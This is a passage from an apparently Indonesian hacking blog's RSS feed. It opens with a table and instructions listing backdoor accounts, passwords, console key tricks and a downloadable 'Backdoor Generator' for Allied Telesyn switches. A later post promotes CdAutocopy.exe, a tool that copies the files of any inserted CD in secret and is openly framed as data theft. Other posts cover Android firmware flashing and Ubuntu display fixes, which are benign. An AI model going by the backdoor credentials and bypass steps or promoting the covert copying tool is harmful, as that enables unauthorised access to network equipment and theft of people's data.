<td width="111">AT-FS7016, FS7024</td>
<td align="center">S67S68</td>
<td align="center">1.0.0</td>
<td>
<ul>
<li>n/a</li>
<li>friend</li>
</ul>
</td>
<td>no user name / press crtl key &amp; type ati</td>
</tr>
<tr>
<td width="111">AT-GS950/16, /24</td>
<td align="center">S79</td>
<td align="center">1.0.0.55</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-FS750</td>
<td align="center">S80</td>
<td align="center">1.0.0.49</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-8000/8POE</td>
<td align="center">S81</td>
<td align="center">1.0.0</td>
<td>
<ul>
<li>manager</li>
<li>manager</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-8000S</td>
<td align="center"></td>
<td align="center">1.0.0.25</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-GS950/8</td>
<td align="center">S82</td>
<td align="center">1.01.B47</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-9000/24</td>
<td align="center">S84</td>
<td align="center">1.1.0.28</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">Rapier, AR300, AR400, AR700, 86xx, 87xx, 88xx, 89xx, 98xx, 99xx,</td>
<td align="center"></td>
<td align="center">2.9.1</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>Special Function</td>
</tr>
<tr>
<td width="111">iMAP Series &#8211; 7100, 7400, 7700, 9100 , 9400, 9700</td>
<td align="center"></td>
<td align="center">9.0.2</td>
<td>
<ul>
<li>officer</li>
<li>officer</li>
</ul>
</td>
<td>Special Function</td>
</tr>
<tr>
<td width="111">AR220e</td>
<td align="center"></td>
<td align="center"></td>
<td>
<ul>
<li>root</li>
<li>n/a</li>
</ul>
</td>
<td>
<ul>
<li>No Backdoor, requires full factory reset</li>
<li>firmware &lt; 1.11 = First Aid utility</li>
<li>firmware &gt; 1.11 = port 1 and 4 loop on power up</li>
</ul>
</td>
</tr>
<tr>
<td width="111">AT-MCM02</td>
<td align="center"></td>
<td align="center"></td>
<td>
<ul>
<li>manager</li>
<li>ATI</li>
</ul>
</td>
<td></td>
</tr>
</tbody>
</table>
<h3>Download Backdoor Generator</h3>
<p style="text-align: center;"> <a href="http://www.spyrozone.org/public/www.spyrozone.net_Backdoor_Generators.zip"><img class="aligncenter size-full wp-image-616" style="border: 0pt none;" title="Download www.spyrozone.net_Backdoor_Generators.zip" src="http://www.spyrozone.net/hacking/storage/2009/04/download-button.png" alt="{Image: www.spyrozone.net_Backdoor_Generators.zip}" width="94" height="80" /></a><strong>Password:</strong> www.spyrozone.net</p>
<h3>Special Function Instruction</h3>
<p><span style="text-decoration: underline;"><strong>PBC18 (S31)</strong></span></p>
<ul>
<li>Account:        manager</li>
<li>Password:       &lt;ctl&gt;ati</li>
</ul>
<p>Note 1: this password only works on a console port connection.</p>
<p><span style="text-decoration: underline;"><strong>TS12 (S10)</strong></span></p>
<ol>
<li>Power the switch down by pulling the plug</li>
<li>Put the plug back in, and watch the three LEDs (RED, Yellow, Green)  to the right of the console port</li>
<li>RED LED is labeled fault</li>
<li>Yellow LED is labeled master</li>
<li>Green LED is labeled power</li>
<li>On power up you will see the following sequence of the LEDs</li>
</ol>
<pre>                     Sequence 1       Sequence 2             Sequence 3
        RED             ON                ON                     OFF
        Yellow          ON                OFF                    ON
        Green           ON                ON                     ON</pre>
<ol start="7">
<li>Look carefully on power up for the RED LED to be on, and the Yellow LED to be OFF</li>
<li>Start hitting the &lt;enter&gt; key (about 2x a second)</li>
<li>You need to hit the &lt;enter&gt; key on the transition of the RED LED to off and the Yellow LED to ON</li>
<li>The backdoor password is basically hitting the &lt;enter&gt; key on the transition from Sequence 2 to Sequence 3.</li>
</ol>
<p><span style="text-decoration: underline;"><strong>FH800 (S48)</strong></span></p>
<p>Password reset procedure</p>
<ol>
<li>Set-up a Local RS232 Terminal Session with the AT-FH801 Management Agent Module. The Log-in Screen should appear.   Do not Login.</li>
<li>Remove power from the hub.     If the Master Hub is part of a Stack of FH800 Hubs power down the entire stack and then disconnect the Master Hub from the Stack for the remainder of this procedure.</li>
<li>Reapply power to the master hub and monitor the terminal display screen.</li>
<li>When the “Post” is performing the System DRAM Memory Test, the terminal screen will display various tests.  During the pause at the end of the line that reads:<br />
&#8220;Testing System DRAM&#8217;s Address Bus &#8230;&#8230;&#8230;&#8221;<br />
and before the DRAM Test completes the test and print the results, type the following character string: g o [Ctrl b] e n g<br />
<strong>NOTE:</strong> All Characters are lower case with no spaces. [Ctrlb]means hold the control key down while you press the letter b. You have about 5 seconds to do this.</li>
<li>Wait to the end of the POST Cycle.</li>
<li>If you caught the pause at the right time and entered the proper key sequence, in the lower left-hand corner of the screen you will see a Pro&gt; prompt.</li>
<li>If the screen does not display the Pro&gt; prompt, repeat steps 1 thought 6 until you get it.</li>
<li>At the Pro&gt; prompt enter ER and then Enter<br />
- The “ER”ase command will clear the configuration data stored in Flash EEPROM. (Do not enter any other key combinations)</li>
<li>Power cycle the master hub as described in steps 2 and 3.   After the POST the Management Agent will load the system software image and allow the user to log in with the factory default setting as either:</li>
</ol>
<pre>          User Name :  “admin”           or      User Name :      “user”
          Password  :  no password               Password  :       no password</pre>
<ol start="10">
<li>The “admin” user needs to log in to the Local Management Agent and restore the network configuration parameters unique to his network.</li>
<li>If the Master Hub was part of a stack, power down the entire stack and reconnect the master hub to the stack. Re-power the stack starting from the top down.</li>
</ol>
<p><span style="text-decoration: underline;"><strong>8116</strong></span></p>
<ul>
<li>Account:               (any alpha numeric sequence)</li>
<li>Password:              (no password)</li>
</ul>
<p><span style="text-decoration: underline;"><strong>8324SX (S29)</strong></span></p>
<ul>
<li>Account:                              tiger</li>
<li>Password:                             tiger123</li>
</ul>
<p><span style="text-decoration: underline;"><strong>8124XL (S30 prior to 104)</strong></span></p>
<ul>
<li>Account:       AT-8124XL</li>
<li>Password:      ATS30</li>
</ul>
<p><span style="text-decoration: underline;"><strong>(S30v104)</strong></span></p>
<p>Run program: 8124pwd.exe, enter MAC address (e.g.: 00 30 84 de 44 6c)</p>
<ul>
<li>Account:       admin</li>
<li>Password:      (output from 8124pwd.exe)</li>
</ul>
<p><span style="text-decoration: underline;"><strong>3726XL(S20), 8126XL(S21)</strong></span></p>
<ul>
<li>Account:        manager</li>
<li>Password:       &lt;ctl&gt;ati</li>
</ul>
<p><strong>Note 1:</strong> this password only works on a console port connection.<br />
<strong>Note 2:</strong> you must press return twice after entering the password.</p>
<p><span style="text-decoration: underline;"><strong>8224 (S24), 8324 (S25), 8024 (S39), 8400 (S60)</strong></span></p>
<ul>
<li>Account:        manager</li>
<li>Password:       &lt;ctl&gt;ati</li>
</ul>
<p><strong>Note 1:</strong> this password only works on a console port connection.<br />
<strong>Note 2:</strong> switches with Radius enabled must be disconnected from Radius server in order to default to local authentication.</p>
<p><span style="text-decoration: underline;"><strong>8326GB, 8350GB (S41), 9410GB (S45)</strong></span><br />
Run program: backdoor.exe, enter MAC address (e.g.: 00 30 84 de 44 6c)</p>
<ul>
<li>Account:       manager</li>
<li>Password:      (output from backdoor.exe)</li>
</ul>
<p><span style="text-decoration: underline;"><strong>8324SX</strong></span></p>
<ul>
<li>Account:                               tiger</li>
<li>password:                              tiger123</li>
</ul>
<p><span style="text-decoration: underline;"><strong>FS7016 (S67), FS7024 (S68)</strong></span><br />
Password:                   &lt;ctl&gt;ati</p>
<p><span style="text-decoration: underline;"><strong>8000/8POE</strong></span></p>
<p>Run program: 8000-8.exe, enter MAC address (e.g.: 00 30 84 de 44 6c)</p>
<ul>
<li>Account:       manager</li>
<li>Password:      (output from 8000-8.exe)</li>
</ul>
<p><span style="text-decoration: underline;"><strong>9000/24</strong></span><br />
Run program: 9000.exe, enter MAC address (e.g.: 00 30 84 de 44 6c)</p>
<ul>
<li>Account:        manager</li>
<li>Password:       (output from 9000.exe)</li>
</ul>
<p><span style="text-decoration: underline;"><strong>FS750</strong></span></p>
<p>Run program: FS750.exe, enter MAC address (e.g.: 00 30 84 de 44 6c)</p>
<ul>
<li>Account:       manager</li>
<li>Password:      (output from FS750.exe)</li>
</ul>
<p><span style="text-decoration: underline;"><strong>GS950</strong></span></p>
<p>Run program: GS950.exe, enter MAC address (e.g.: 00 30 84 de 44 6c)</p>
<ul>
<li>Account:       manager</li>
<li>Password:      (output from GS950.exe)</li>
</ul>
<p><span style="text-decoration: underline;"><strong>AT-8516F/SC, AT-8524M, AT-8524POE, AT-8550GB, AT-8550SP</strong></span></p>
<ol>
<li>Connect to the console port.</li>
<li>Power cycle the switch.</li>
<li>When the following message is displayed, type the letter “s” before the switch counts to zero.</li>
<li>Press &lt;CTRL&gt;B key to go to Boot prompt&#8230; 5</li>
<li>When the switch finishes the boot process, press enter. You will be logged on with manager privilege and can change the manager password without entering the old password.<br />
e.g.:<br />
#set password manager<br />
Enter new manager password-&gt;*****<br />
Re-enter manager password -&gt;*****<br />
#</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/backdoor-instructions-for-allied-telesyn-telesis-switches.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upgrade Samsung Galaxy Ace to Gingerbread</title>
		<link>http://www.spyrozone.net/hacking/2011/05/upgrade-samsung-galaxy-ace-to-gingerbread.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/upgrade-samsung-galaxy-ace-to-gingerbread.jsp#comments</comments>
		<pubDate>Fri, 27 May 2011 02:18:49 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Tips, Tricks and Tutorials]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Froyo]]></category>
		<category><![CDATA[Gingerbread]]></category>
		<category><![CDATA[Samsung Galaxy Ace]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2255</guid>
		<description><![CDATA[UPDATE: Android 2.3.4 kini sudah bisa Anda nikmati Jika Anda pengguna Samsung Galaxy Ace, Anda pasti sudah tidak sabar untuk upgrade Froyo Anda menjadi Gingerbread (Android 2.3.3) ^^&#8221; Artikel kali ini akan memandu Anda untuk upgrade Froyo Anda menjadi Gingerbread sekaligus menyediakan semua aplikasi yang Anda butuhkan. Selamat menikmati Download: Samsung USB Driver for Mobile [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>UPDATE:</strong> <a title="Android 2.3.4 Gingerbread Official DDKQ5 Update Untuk Samsung Galaxy Ace" href="http://www.spyrozone.net/hacking/2011/08/android-2-3-4-gingerbread-official-ddkq5-update-untuk-samsung-galaxy-ace.jsp">Android <em>2.3</em>.4 kini sudah bisa Anda nikmati</a> <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;">Jika Anda pengguna Samsung Galaxy Ace, Anda pasti sudah tidak sabar untuk upgrade Froyo Anda menjadi Gingerbread (Android <em>2.3</em>.3) ^^&#8221; Artikel kali ini akan memandu Anda untuk upgrade Froyo Anda menjadi Gingerbread sekaligus menyediakan semua aplikasi yang Anda butuhkan.</p>
<p style="text-align: justify;">Selamat menikmati <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;"><span id="more-2255"></span></p>
<ol>
<li>Download:
<ul>
<li><a title="Download Samsung USB Driver for Mobile Phones V1.3.450.0" href="http://spyrozone.org/public/SAMSUNG_USB.zip">Samsung USB Driver for Mobile Phones V1.3.450.0</a> (19 MB)<br />
<strong>Password to extract:</strong> www.spyrozone.net</li>
<li><a title="Download ODIN Multi Downloader 4.38" href="http://spyrozone.org/public/S5570_Odin%20Multi%20Downloader%20v4.38.exe">ODIN Multi Downloader 4.38</a> (444 KB)</li>
<li><a title="Download Gingerbread ROM" href="http://spyrozone.org/public/S5830XXKP8.rar">Gingerbread ROM</a> (125 MB)<br />
<strong>Password to extract:</strong> samfirmware.com</li>
</ul>
</li>
<li>Install Samsung USB Driver for Mobile Phones V1.3.450.0</li>
<li>Extract S5830XXKP8.rar, kemudian jalankan Odin Multi Downloader. Masukkan file ROM yang Anda extract ke Odin Multi Downloader sebagai berikut:
<ul>
<li><strong>OPS:</strong><span style="color: #3366ff;"> Cooper_v1.0.ops</span></li>
<li><strong>BOOT:</strong> <span style="color: #3366ff;">APBOOT_S5830XXKP8_CL143019_REV03_user_mid_false.tar.md5</span></li>
<li><strong>Phone:</strong> <span style="color: #3366ff;">MODEM_S5830XXKP8_CL143019_REV03.tar.md5</span></li>
<li><strong>PDA:</strong> <span style="color: #3366ff;">CODE_S5830XXKP8_CL143019_REV03_user_mid_false.tar</span></li>
<li><strong>CSC:</strong> <span style="color: #3366ff;">CSC_S5830SERKP8_CL143019_REV03_user_mid_false.tar.md5</span></li>
</ul>
<p><div id="attachment_2265" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2265" title="Odin Multi Downloader" src="http://www.spyrozone.net/hacking/storage/2011/05/Odin-Multi-Downloader.jpg" alt="{image: Odin Multi Downloader}" width="500" height="351" /><p class="wp-caption-text">Odin Multi Downloader</p></div></li>
<li>Matikan Samsung Galaxy Ace Anda, kemudian tekan kombinasi tombol <strong>Volume Down+Home (Tengah)+Power</strong>. Jika pada Layar Samsung Galaxy Ace Anda tampil keterangan &#8220;Downloading..&#8221;, Hubungkan Galaxy Ace dengan komputer Anda.</li>
<li style="text-align: justify;">Apabila pada COM Port Mapping sudah menyala kuning dengan keterangan <strong>1 (Com xx)</strong>, klik tombol <strong>[Start]</strong>.
<p><div id="attachment_2268" class="wp-caption aligncenter" style="width: 339px"><img class="size-full wp-image-2268" title="Com Port Mapping" src="http://www.spyrozone.net/hacking/storage/2011/05/Com-Port-Mapping.jpg" alt="{image: Com Port Mapping}" width="329" height="263" /><p class="wp-caption-text">Com Port Mapping</p></div></li>
<li style="text-align: justify;">Galaxy Ace Anda akan restart dengan sendirinya. Jangan bingung dan panik, si Ace akan tampil dalam Bahasa Rusia. Klik saja OK pada kotak dialog yang muncul di Galaxy Ace Anda. Selanjutnya, tunggu hingga keluar pesan PASS dalam kotak biru pada Odin Multi Downloader.</li>
<li style="text-align: justify;">Jika kotak biru pada Odin sudah muncul dengan keterangan PASS,  Klik satu-satunya tombol yang tampil pada layar Galaxy Ace Anda kemudian ubah bahasanya menjadi bahasa yang Anda kenali. Kini, Gingerbread sudah terpasang pada Samsung Galaxy Ace Anda <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ol>
<p>Ingin membuka akses root perangkat Anda? silahkan membaca: <a title="How to Root Samsung Galaxy Ace on Android 2.3.4/2.3.3 Gingerbread" href="http://www.spyrozone.net/hacking/2011/08/how-to-root-samsung-galaxy-ace-on-android-2-3-42-3-3-gingerbread.jsp">How to Root Samsung Galaxy Ace on Android 2.3.4/2.3.3 Gingerbread</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/upgrade-samsung-galaxy-ace-to-gingerbread.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mencuri Data dari CD Secara Otomatis</title>
		<link>http://www.spyrozone.net/hacking/2011/05/mencuri-data-dari-cd-secara-otomatis.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/mencuri-data-dari-cd-secara-otomatis.jsp#comments</comments>
		<pubDate>Thu, 26 May 2011 06:31:01 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Auto Copy]]></category>
		<category><![CDATA[CDAutocopy]]></category>
		<category><![CDATA[Data Stealer]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2074</guid>
		<description><![CDATA[Hush!! saya tau pikiran ngeres Anda CD yang saya maksud disini bukan C3l4n4 D4L4M, tapi Compact Disc Seorang teman lama bertanya kepada saya melalui pesan FB: &#8230; program Thumbsuck di web syprozone itu gk bisa utk autocopy file di CD Rom Drive ya? klo gk bisa, apa ada referensi software autocopy dari CD Rom? Makasih [...]]]></description>
			<content:encoded><![CDATA[<p>Hush!! saya tau pikiran <em>ngeres</em> Anda <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  CD yang saya maksud disini bukan C3l4n4 D4L4M, tapi Compact Disc <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Seorang teman lama bertanya kepada saya melalui pesan FB:</p>
<blockquote><p>&#8230; program <a title="Mencuri Data-Data Milik Pengguna FLASHDISK" href="http://www.spyrozone.net/hacking/2007/11/mencuri-data-data-milik-pengguna-flashdisk.jsp">Thumbsuck</a> di web syprozone itu gk bisa utk autocopy file di CD Rom Drive ya? klo gk bisa, apa ada referensi software autocopy dari CD Rom? Makasih banyak ya &#8230;.</p></blockquote>
<p style="text-align: justify;">Thumbsuck memang didesain khusus untuk menargetkan Flashdisk. Beberapa software auto copy CD yang saya temui di desain untuk tindakan <strong>legal</strong>. Beruntung, pagi ini saya sedang tidak ada kerjaan, iseng-iseng saya membuat aplikasi sejenis <a title="Thumbsuck - Data Stealer" href="http://www.spyrozone.net/hacking/2009/04/thumbsuck-data-stealer.jsp">Thumbsuck</a>, namun targetnya adalah CD <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Ingin mencoba?</p>
<p style="text-align: justify;"><span id="more-2074"></span>Silahkan download <strong>CdAutocopy.exe</strong> dari Member&#8217;s Area:</p>
<p style="text-align: center;"><a href="http://www.spyrozone.net/hacking/2011/05/cdautocopy-exe-cd-data-stealer.jsp"><img class="aligncenter size-full wp-image-100" style="border: 0pt none;" title="Download CDAutocopy.exe" src="http://www.spyrozone.net/hacking/storage/2010/07/download_128.png" alt="{Image: Download CDAutocopy.exe}" width="128" height="128" /></a></p>
<p>Cara penggunaannya sama saja dengan Thumbsuck.exe. Anda tinggal menjalankan aplikasi mungil ini dari folder rahasia Anda. Begitu ada CD yang dimasukkan kedalam CD Rom, <strong>CdAutocopy.exe</strong> akan otomatis membuat folder di lokasi yang sama dengan format berikut:</p>
<p><strong>[SPYROZONE.NET]-[TANGGAL PENCURIAN DATA]-[CD VOLUME NAME]</strong></p>
<p>Pada folder itulah file-file di dalam CD tadi akan disalin secara diam-diam.<strong><br />
</strong></p>
<p>&nbsp;</p>
<div id="attachment_2077" class="wp-caption aligncenter" style="width: 510px"><strong><strong><img class="size-full wp-image-2077" title="Hasil Pencurian Data" src="http://www.spyrozone.net/hacking/storage/2011/05/Hasil-Pencurian-Data.jpg" alt="{image: Hasil Pencurian Data}" width="500" height="168" /></strong></strong><p class="wp-caption-text">Hasil Pencurian Data</p></div>
<p>&nbsp;</p>
<p>Untuk menghentikan aplikasi ini, gunakan Task Manager (<strong>[CTRL]</strong>+<strong>[ALT]</strong>+<strong>[Delete]</strong>).</p>
<p>Selamat mencoba <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <strong><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/mencuri-data-dari-cd-secara-otomatis.jsp/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fix Black Background Pada Cairo Dock</title>
		<link>http://www.spyrozone.net/hacking/2011/05/fix-black-background-pada-cairo-dock.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/fix-black-background-pada-cairo-dock.jsp#comments</comments>
		<pubDate>Tue, 24 May 2011 02:07:39 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[Cairo-Dock]]></category>
		<category><![CDATA[Configuration Editor]]></category>
		<category><![CDATA[Glx-Dock]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Metacity]]></category>
		<category><![CDATA[Natty]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2028</guid>
		<description><![CDATA[Cairo-Dock bagi saya adalah aksesoris wajib untuk mempercantik Ubuntu Tapi.. lagi-lagi setelah upgrade, Cairo-Dock saya tampil dengan latar belakang hitam. Sangat mengganggu, apalagi latar belakang hitam tersebut tetap muncul walaupun Cairo-Dock sedang bersembunyi. Mengalami nasib yang sama dengan saya? Solusinya ternyata sangat mudah, kita hanya perlu mengaktifkan Compositing Effect di Metacity. Metacity merupakan Window Manager [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Cairo-Dock bagi saya adalah aksesoris wajib untuk mempercantik Ubuntu <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Tapi.. lagi-lagi setelah upgrade, Cairo-Dock saya tampil dengan latar belakang hitam.</p>
<p style="text-align: justify;">Sangat mengganggu, apalagi latar belakang hitam tersebut tetap muncul walaupun Cairo-Dock sedang bersembunyi. Mengalami nasib yang sama dengan saya?</p>
<p><span id="more-2028"></span></p>
<div id="attachment_2032" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2032" title="Cairo-Dock with black background" src="http://www.spyrozone.net/hacking/storage/2011/05/cairo-dock-with-black-background.jpg" alt="{image: Cairo-Dock with black background}" width="500" height="182" /><p class="wp-caption-text">Cairo-Dock with black background</p></div>
<p style="text-align: justify;">Solusinya ternyata sangat mudah, kita hanya perlu mengaktifkan Compositing Effect di Metacity. Metacity merupakan Window Manager milik Gnome sebelum akhirnya Gnome 3 menggunakan Mutter (Metacity Clutter). Jika graphic card Anda rendah, Metacity akan sangat membantu karena Metacity menggunakan CPU daripada Graphic Card.</p>
<h3>Menggunakan Configuration Editor</h3>
<ol>
<li style="text-align: justify;">Bukalah Configuration Editor dengan menegetik <em>gconf-editor</em> pada <strong>Run Application</strong>.</li>
<li style="text-align: justify;">Pergilah ke <strong>Apps-&gt;metacity-&gt;general</strong>, lalu beri centang pada <strong>compositing_manager</strong>. Anda tinggal membuang centang untuk mendisablenya kembali.</li>
</ol>
<h3>Menggunakan Terminal</h3>
<p><span style="text-decoration: underline;"><strong>Enable</strong></span></p>
<pre>gconftool-2 -s '/apps/metacity/general/compositing_manager' --type bool true</pre>
<p><span style="text-decoration: underline;"><strong>Disable</strong></span></p>
<pre>gconftool-2 -s '/apps/metacity/general/compositing_manager' --type bool false</pre>
<p style="text-align: justify;">Nah, setelah mengaktifkan Compositing Effect, seketika Cairo-Dock tampil dengan latar belakang transparan:</p>
<div id="attachment_2034" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2034" title="Cairo-Dock with transparent background" src="http://www.spyrozone.net/hacking/storage/2011/05/Cairo-Dock-with-transparent-background.jpg" alt="{image: Cairo-Dock with transparent background}" width="500" height="182" /><p class="wp-caption-text">Cairo-Dock with transparent background</p></div>
<p>Sekian <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/fix-black-background-pada-cairo-dock.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fix Blank Screen Setelah Booting Pada Ubuntu</title>
		<link>http://www.spyrozone.net/hacking/2011/05/fix-blank-screen-setelah-booting-pada-ubuntu.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/fix-blank-screen-setelah-booting-pada-ubuntu.jsp#comments</comments>
		<pubDate>Mon, 23 May 2011 02:59:32 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[Blank Screen]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Natty]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2017</guid>
		<description><![CDATA[Setelah upgrade ke Ubuntu 11 dan berhasil booting, laptop saya hanya menampilkan blank screen, tidak menampilkan login screen. Saya sudah mencoba beberapa panduan di Internet, termasuk mengkonfigurasi ulang xorg. Sayangnya, cara tersebut tidak membuahkan hasil Namun, setelah mencoba-coba sendiri menjelajahi menu recovery mode, akhirnya Ubuntu saya berhasil menampilkan login screen ^^ Berikut adalah langkah-langkah yang [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Setelah upgrade ke Ubuntu 11 dan berhasil booting, laptop saya hanya menampilkan blank screen, tidak menampilkan login screen. Saya sudah mencoba beberapa panduan di Internet, termasuk mengkonfigurasi ulang xorg. Sayangnya, cara tersebut tidak membuahkan hasil <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  Namun, setelah mencoba-coba sendiri menjelajahi menu recovery mode, akhirnya Ubuntu saya berhasil menampilkan login screen ^^ Berikut adalah langkah-langkah yang saya lakukan hingga akhirnya Ubuntu saya normal kembali <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;"><span id="more-2017"></span></p>
<h3 style="text-align: justify;">Konfigurasi Ulang XORG</h3>
<p>Meskipun saya tidak berhasil menggunakan cara ini, ada baiknya Anda mencoba langkah ini terlebih dahulu karena saya lihat pada forum-forum banyak yang sukses dengan konfigurasi ulang xorg.</p>
<ol>
<li>Masuklah ke Recovery Mode pada menu GRUB.</li>
<li>Setelah Recovery Menu muncul, pilih <strong>&#8220;resume&#8221;</strong>. Masukkan username dan password Anda, lalu ketik perintah berikut:<br />
<span style="color: #993300;"><strong>sudo dpkg-reconfigure xserver-xorg</strong></span></li>
<li>Setelah konfigurasi seelsai, Restart komputer Anda dengan perintah <span style="color: #993300;"><strong>sudo reboot</strong></span></li>
</ol>
<p>Gagal? wah, berarti nasib Anda sama dengan saya <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Mari kita lanjut ke solusi ke-2 <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Run in failsafe graphic mode</h3>
<ol>
<li>Masuklah ke Recovery Mode pada menu GRUB.</li>
<li>Setelah Recovery Menu muncul, pilih <strong>&#8220;failsafeX&#8221; </strong>lalu tekan [Enter]<strong>.</strong>
<div id="attachment_2022" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2022" title="Recovery Menu" src="http://www.spyrozone.net/hacking/storage/2011/05/Recovery-Menu.jpg" alt="{image: Recovery Menu}" width="500" height="233" /><p class="wp-caption-text">Recovery Menu</p></div>
<p>Klik <strong>[OK] </strong>pada kotak dialog informasi yang muncul.<strong> </strong></li>
<li>Pada menu berikutnya, akan tampil pertanyaan <strong>&#8220;What would you like to do?&#8221;</strong> beserta beberapa pilihan jawaban. Pilih  <strong>&#8220;Reconfigure graphics&#8221;</strong> lalu klik [OK].</li>
<li>Pertanyaan berikutnya adalah <strong>&#8220;How would you like to configure your display?&#8221;</strong>. Pilih <strong>&#8220;Use default (generic) configuration&#8221;</strong> lalu klik [OK].</li>
<li>Setelah proses pengembalian konfigurasi ke default selesai,anda akan diminta untuk melakukan <strong>Restart X</strong>. Tampilan menu akan kembali ke menu pertanyaan <strong>&#8220;How would you like to configure your display?&#8221;</strong><strong>. </strong>Kali ini pilih [Cancel] untuk kembali ke menu <strong>&#8220;What would you like to do?&#8221;</strong>. Pada menu tersebut, pilih <strong>Restart X</strong>.</li>
<li>Jika berhasil, Login Screen akan muncul di hadapan Anda <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ol>
<p>Sekian <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: justify;">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/fix-blank-screen-setelah-booting-pada-ubuntu.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalasi Font Arab, Al-Qur&#8217;an dan Terjemahannya Pada MS Office 2007</title>
		<link>http://www.spyrozone.net/hacking/2011/05/instalasi-font-arab-al-quran-dan-terjemahannya-pada-ms-office-2007.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/instalasi-font-arab-al-quran-dan-terjemahannya-pada-ms-office-2007.jsp#comments</comments>
		<pubDate>Sun, 15 May 2011 12:35:51 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Tips, Tricks and Tutorials]]></category>
		<category><![CDATA[Al-Qur'an]]></category>
		<category><![CDATA[Font Arab]]></category>
		<category><![CDATA[Microsoft Office 2007]]></category>
		<category><![CDATA[Microsoft Word]]></category>
		<category><![CDATA[terjemahan]]></category>

